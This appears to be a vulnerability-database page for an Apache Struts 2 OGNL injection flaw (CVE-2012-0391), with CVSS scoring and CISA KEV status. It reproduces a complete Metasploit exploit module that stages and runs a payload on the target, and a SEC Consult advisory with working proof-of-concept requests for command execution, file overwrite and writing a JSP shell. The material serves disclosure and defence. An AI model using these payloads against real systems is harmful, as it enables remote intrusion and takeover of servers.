Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
134c704f-9b21-4f2e-91b3-4a467353bcc0 |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Apache Struts 2 Improper Input Validation Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-01-20 23h00 +00:00
Action is due : 2022-07-20 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 18984
Publication date : 2012-06-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts <= 2.2.1.1 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.1.1. This issue is caused because the
ExceptionDelegator interprets parameter values as OGNL expressions
during certain exception handling for mismatched data types of properties,
which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2012-0391'],
[ 'OSVDB', '78277'],
[ 'EDB', '18329'],
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
],
'Platform' => [ 'win', 'linux'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jan 06 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end
def execute_command(cmd, opts = {})
uri = String.new(datastore['TARGETURI'])
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 5)
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end
def on_new_session(client)
if target['Platform'] == 'linux'
print_status("Deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("Delete the #{@payload_exe} file manually after migrating")
end
end
def exploit
if not datastore['CMD'].empty?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end
case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
raise RuntimeError, 'Unsupported target platform!'
end
handler
end
end
Exploit Database EDB-ID : 18329
Publication date : 2012-01-05 23h00 +00:00
Author : SEC Consult
EDB Verified : Yes
SEC Consult Vulnerability Lab Security Advisory < 20120104-0 >
=======================================================================
title: Multiple critical vulnerabilities in Apache Struts2
product: Apache Struts2
* OpenSymphony XWork
* OpenSymphony OGNL
vulnerable version: 2.3.1 and below
fixed version: 2.3.1.1
impact: critical
homepage: http://struts.apache.org/
found: 2011-11-18
by: Johannes Dahse, Andreas Nusser
SEC Consult Vulnerability Lab
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
Apache Struts2 is a web framework for creating Java web applications. It is
using the OpenSymphony XWork and OGNL libraries. By default, XWork's
ParametersInterceptor treats parameter names provided to actions as OGNL
expressions. A OGNL (Object Graph Navigation Language) expression is a limited
language similar to Java that is tokenized and parsed by the OGNL parser which
invokes appropiate Java methods. This allows e.g. convenient access to
properties that have a getter/setter method implemented. By providing a
parameter like "product.id=1" the OGNL parser will call the appropiate setter
getProduct().setId(1) in the current action context. OGNL is also able to call
arbitrary methods, constructors and access context variables. For more details
please refer to http://commons.apache.org/ognl/language-guide.html.
Vulnerability overview/description:
-----------------------------------
To prevent attackers calling arbitrary methods within parameters the flag
"xwork.MethodAccessor.denyMethodExecution" is set to "true" and the
SecurityMemberAccess field "allowStaticMethodAccess" is set to "false" by
default. Also, to prevent access to context variables an improved character
whitelist for paramteter names is applied in XWork's ParametersInterceptor since
Struts 2.2.1.1:
acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
Under certain circumstances these restrictions can be bypassed to execute
malicious Java code.
1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
When an exception occurs while applying parameter values to properties the
value is evaluated as OGNL expression. For example this occurs when setting a
string value to a property with type integer. Since the values are not
filtered an attacker can abuse the power of the OGNL language to execute
arbitrary Java code leading to remote command execution. This issue has been
reported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in
Struts 2.2.3.1. However the ability to execute arbitrary Java code has been
overlooked.
2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
The character whitelist for parameter names is not applied to Struts
CookieInterceptor. When Struts is configured to handle cookie names, an
attacker can execute arbitrary system commands with static method access to
Java functions. Therefore the flag "allowStaticMethodAccess" can be set to
true within the request.
3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)
Accessing the flag "allowStaticMethodAccess" within parameters is prohibited
since Struts 2.2.3.1. An attacker can still access public constructors with
only one parameter of type String to create new Java objects and access their
setters with only one parameter of type String. This can be abused for example
to create and overwrite arbitrary files. To inject forbidden characters to the
filename an uninitialized string property can be used.
4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
While not being a security vulnerability itself, please note that applications
running in developer mode and using Struts DebuggingInterceptor are prone to
remote command execution as well. While applications should never run in
developer mode during production, developers should be aware that doing so not
only has performance issues (as documented) but also a critical security
impact.
Proof of concept:
-----------------
1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
Given Test.java has an property "id" of type Integer or Long and appropriate
getter and setter methods:
long id;
Given test.jsp with result name=input is configured for action "Test":
struts.xml:
<action name="Test" class="example.Test">
<result name="input">test.jsp</result>
</action>
The following request will trigger an exception, the value will be evaluated
as OGNL expression and arbitrary Java code can be executed:
/Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'
An attacker can also overwrite flags that will allow direct OS command execution:
/Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'
If test.jsp displays the property "id" the result of the Java code evaluation
can be accessed:
<%@ taglib prefix="s" uri="/struts-tags" %>
<s:property value="id" />
2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
Given struts.xml is configured to handle all cookie names (independent of
limited cookie values):
<action name="Test" class="example.Test">
<interceptor-ref name="cookie">
<param name="cookiesName">*</param>
<param name="cookiesValue">1,2</param>
</interceptor-ref>
<result ...>
</action>
The following HTTP header will execute an OS command when sent to Test.action:
Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1
3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)
Given Test.java has an uninitialized property "name" of type String:
String name; // +getter+setter
The following request will create/overwrite the file "C:/sec-consult.txt"
(empty file):
/Test.action?name=C:/sec-consult.txt&x[new+java.io.FileWriter(name)]=1
The existence of the property 'x' used in these examples is of no importance.
4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
Given struts.xml is configured to run in developer mode and to use the
debugging interceptor:
<constant name="struts.devMode" value="true" />
<action name="Test" class="example.Test">
<interceptor-ref name="debugging" />
<result ...>
</action>
The following request will execute arbitrary OGNL expressions leading to remote command execution:
/Test.action?debug=command&expression=%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc')
Vulnerable / tested versions:
-----------------------------
All products using Struts2 are affected by at least one critical vulnerability
listed above!
Proof of Concept 1.) has been tested with Jetty-6.1.25 26 July 2010 and Struts
2.2.1.1
Proof of Concepts 2.), 3.) and 4.) have been tested with Jetty-6.1.25 26 July 2010
and Struts 2.2.1.1, 2.2.3.1 and 2.3.1
Vendor contact timeline:
------------------------
2011-12-14: Contacting vendor through security at struts dot apache dot org
2011-12-14: Vendor reply, sending advisory draft
2011-12-14: Vendor released Apache Struts 2.3.1 in parallel
2011-12-16: Vulnerabilities confirmed in Struts 2.3.1, Vendor contacted
2011-12-16: Vendor reply, discussing workaround
2011-12-20: Discussing release of fixed version
2011-12-21: Providing additional information
2012-01-03: Vendor informs that update is ready
2012-01-03: Patch (2.3.1.1) is available
Solution:
---------
Update to Struts 2.3.1.1
Workaround:
-----------
Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the
Parameters- and CookieInterceptor:
acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[_']+";
Don't run your applications in developer mode.
Advisory URL:
-------------
https://www.sec-consult.com/en/advisories.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH
Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria
Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
https://www.sec-consult.com
EOF J. Dahse, A. Nusser / 2012
Products Mentioned
Configuraton 0
Apache>>Struts >> Version To (excluding) 2.2.3.1
References